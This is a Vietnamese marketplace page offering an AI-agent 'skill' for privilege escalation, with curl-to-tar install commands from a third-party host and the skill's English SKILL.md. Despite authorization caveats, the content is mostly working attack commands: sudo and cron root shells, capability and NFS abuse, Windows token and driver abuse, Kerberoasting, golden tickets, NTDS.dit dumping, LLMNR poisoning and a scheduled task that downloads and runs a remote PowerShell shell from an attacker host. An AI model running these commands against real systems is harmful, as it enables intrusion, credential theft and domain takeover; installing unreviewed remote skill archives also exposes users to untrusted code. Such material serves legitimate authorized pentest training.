privilege-escalation-methods – skill Viết lách & Nội dung cho agent AI
Cung cấp các kỹ thuật toàn diện để leo thang đặc quyền từ người dùng có quyền thấp lên quyền root/quản trị viên trên hệ thống Linux và Windows đã bị xâm nhập. Thiết yếu cho giai đoạn sau khai thác trong kiểm thử xâm nhập và hoạt động red team.
Cài skill privilege-escalation-methods bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/privilege-escalation-methods-134de.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /privilege-escalation-methods – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/privilege-escalation-methods-134de.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $privilege-escalation-methods – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/privilege-escalation-methods-134de.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /privilege-escalation-methods – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/privilege-escalation-methods-134de.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /privilege-escalation-methods – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Privilege Escalation Methods
Purpose
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
Inputs/Prerequisites
- Initial low-privilege shell access on target system
- Kali Linux or penetration testing distribution
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- Understanding of Windows/Linux privilege models
- For AD attacks: Domain user credentials and network access to DC
Outputs/Deliverables
- Root or Administrator shell access
- Extracted credentials and hashes
- Persistent access mechanisms
- Domain compromise (for AD environments)
---
Demonstration boundaries
The commands below include destructive overwrites, SUID/persistence changes, password resets and credential extraction. They are reference material for explicitly authorized disposable labs, not a default assessment sequence. Prefer harmless proof of the specific permission boundary, synthetic accounts and owner-agreed canaries; preserve originals and a cleanup/rollback record. Initial access does not authorize domain-wide credential access or persistence. Do not run historical drivers/tools without verifying exact affected versions and stability constraints.
Core Techniques
Linux Privilege Escalation
1. Abusing Sudo Binaries
Exploit misconfigured sudo permissions using GTFOBins techniques:
# Check sudo permissions
sudo -l
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # then type: !bash
sudo man man # then type: !bash
sudo env /bin/bash2. Abusing Scheduled Tasks (Cron)
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# Wait for execution, then:
/bin/bash -p3. Abusing Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar4. NFS Root Squashing
# Check for NFS shares
showmount -e <victim_ip>
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash5. MySQL Privilege Boundaries
The mysql client \! command executes locally as the client OS user; a root database account or root-running server does not make that shell root. Review server process identity, database grants and filesystem permissions separately; do not claim OS escalation from a client shell escape.
---
Windows Privilege Escalation
1. Token Impersonation
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser2. Service Abuse
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'3. Abusing SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit4. Abusing SeLoadDriverPrivilege
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe5. Abusing GPO
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"---
Active Directory Attacks
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt2. AS-REP Roasting
.\Rubeus.exe asreproast3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:5004. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket5. Golden Ticket with Scheduled Tasks
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" # security-allowlist: offensive scheduled-task detection example
schtasks /run /s DOMAIN /TN "enterprise"---
Credential Harvesting
LLMNR Poisoning
# Start Responder
responder -I eth1 -v
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.icoNTLM Relay
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2supportDumping with VSS
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\---
Quick Reference
| Technique | OS | Domain Required | Tool |
|-----------|-----|-----------------|------|
| Sudo Binary Abuse | Linux | No | GTFOBins |
| Cron Job Exploit | Linux | No | Manual |
| Capability Abuse | Linux | No | getcap |
| NFS no_root_squash | Linux | No | mount |
| Token Impersonation | Windows | No | SweetPotato |
| Service Abuse | Windows | No | PowerUp |
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
| AS-REP Roasting | Windows | Yes | Rubeus |
| Golden Ticket | Windows | Yes | Mimikatz |
| Pass-the-Ticket | Windows | Yes | Rubeus |
| DCSync | Windows | Yes | Mimikatz |
| LLMNR Poisoning | Windows | Yes | Responder |
---
Constraints
Must:
- Have initial shell access before attempting escalation
- Verify target OS and environment before selecting technique
- Use appropriate tool for domain vs local escalation
Must Not:
- Attempt techniques on production systems without authorization
- Leave persistence mechanisms without client approval
- Ignore detection mechanisms (EDR, SIEM)
Should:
- Enumerate thoroughly before exploitation
- Document all successful escalation paths
- Clean up artifacts after engagement
---
Examples
Example 1: Linux Sudo to Root
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)Example 2: Windows Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt---
Troubleshooting
| Issue | Solution |
|-------|----------|
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
| Security tooling blocked | Stop and coordinate with the engagement owner; do not bypass controls outside the approved plan |
| Kerberoasting returns no h
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- read-all-adrs – Đọc toàn bộ ADR trong dự án trước khi tóm tắt bối cảnh hoặc quyết định kiến trúc.
- readme – Bạn là một kỹ sư tài liệu kỹ thuật giàu kinh nghiệm, chuyên viết tài liệu dự án toàn…
- renhua – Viết bài đăng mạng xã hội và nội dung sản phẩm bằng tiếng Trung theo giọng của một người…
- report-writing – Viết báo cáo bug bounty cho H1/Bugcrowd/Intigriti/Immunefi
- repurpose-into-a-post – Biến bài viết, bản tin, transcript hoặc video thành bài đăng Twitter/X hoặc LinkedIn…
- rex – Chuyển ý định người dùng thành đặc tả và yêu cầu chính xác, không mơ hồ.
- robius-event-action – CRITICAL: Dùng cho các mẫu sự kiện và action của Robius. Kích hoạt khi có: custom…
- same-idea-both-platforms – Viết một ý tưởng thành bài đăng Twitter/X và bài đăng LinkedIn, đọc như được viết riêng…